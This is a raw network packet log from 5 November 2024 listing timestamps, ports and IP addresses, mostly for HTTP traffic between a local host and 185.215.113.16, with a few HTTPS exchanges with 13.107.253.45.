Nov 5, 2024 10:13:18.326080084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.326090097 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.326098919 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.326109886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.326108932 CET	49721	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.326121092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.326123953 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.326158047 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.326227903 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.326314926 CET	49721	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.326324940 CET	443	49721	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.326342106 CET	49721	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.326344967 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.326345921 CET	443	49721	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.326716900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.328665018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.328874111 CET	49729	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.328919888 CET	443	49729	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.328983068 CET	49729	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.329180002 CET	49729	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:18.329195023 CET	443	49729	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:18.331216097 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331228971 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331240892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331252098 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331280947 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331294060 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331383944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331397057 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331408024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331419945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331430912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331443071 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331453085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331459999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331468105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331475973 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331480026 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331515074 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331516981 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331528902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331541061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331553936 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331576109 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331707001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331720114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331731081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331767082 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331852913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331865072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331877947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331888914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331893921 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331907034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331918955 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331932068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331943035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.331944942 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331944942 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.331968069 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332001925 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332015038 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332026005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332037926 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332057953 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332153082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332165003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332176924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332189083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332200050 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332206011 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332211971 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332223892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332236052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332233906 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332251072 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332285881 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332293034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332305908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332317114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332328081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332346916 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332354069 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332359076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332370043 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332380056 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332386971 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332398891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332402945 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332412004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332421064 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332431078 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332442999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332453012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332462072 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332468033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332479954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332494020 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332505941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332506895 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332506895 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332519054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332530022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332535982 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332541943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332554102 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332562923 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332566977 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332580090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332582951 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332601070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332612991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332619905 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332624912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332638025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332644939 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332649946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332663059 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332672119 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332680941 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332684994 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332696915 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332709074 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332719088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332726002 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332731009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332743883 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332752943 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332756996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332770109 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332782030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332792997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332792997 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332792997 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332806110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332818985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332819939 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332830906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332844019 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332847118 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332856894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332870007 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332880020 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332881927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332894087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332906008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332915068 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332915068 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332917929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332931042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332942963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332942963 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332954884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332967043 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.332967997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332981110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332993031 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.332998991 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333003998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333018064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333023071 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333033085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333039999 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333053112 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333062887 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333065033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333079100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333090067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333105087 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333106995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333120108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333128929 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333132982 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333146095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333158970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333177090 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333184958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333208084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333220959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333231926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333241940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333251953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333257914 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333265066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333276033 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333276033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333290100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333301067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333309889 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333309889 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333312988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333324909 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333337069 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333338022 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333358049 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333363056 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333370924 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333384991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333398104 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333398104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333410978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333421946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333422899 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333434105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333447933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333458900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333457947 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333472013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333492041 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333501101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333501101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333506107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333517075 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333528042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333539009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333539009 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333547115 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333551884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333563089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333575010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333583117 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333586931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333599091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333611012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333612919 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333621025 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333623886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333636045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333647013 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333653927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333657980 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333668947 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333669901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333682060 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333688974 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333694935 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333709002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333722115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333723068 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333733082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333745003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333745003 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333755970 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333765030 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333767891 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333781004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333791018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333791971 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333803892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333813906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333818913 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333826065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333842993 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.333847046 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.333858967 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.334038019 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.334039927 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.334050894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.334073067 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.334182024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.334348917 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.334389925 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.334495068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.334568024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.334609032 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.334703922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.334759951 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.334889889 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.334903002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.334944010 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.335059881 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335208893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335256100 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.335342884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335531950 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335716009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335727930 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335740089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335752010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335762024 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.335763931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335776091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335786104 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.335788012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335800886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335803986 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.335813999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335844040 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.335848093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335860968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335870981 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335885048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335895061 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335896015 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.335906029 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.335908890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335922003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335935116 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.335961103 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.335973024 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335985899 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.335997105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336008072 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336016893 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336044073 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336069107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336112976 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336123943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336136103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336147070 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336160898 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336180925 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336319923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336332083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336344004 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336357117 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336358070 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336369991 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336376905 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336384058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336395025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336405039 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336407900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336437941 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336450100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336463928 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336474895 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336486101 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336498022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336503029 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336524010 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336544991 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336642027 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336653948 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336666107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336675882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336688995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 5, 2024 10:13:18.336699009 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.336711884 CET	49712	80	192.168.2.5	185.215.113.16
Nov 5, 2024 10:13:18.337302923 CET	80	49712	185.215.113.16	192.168.2.5
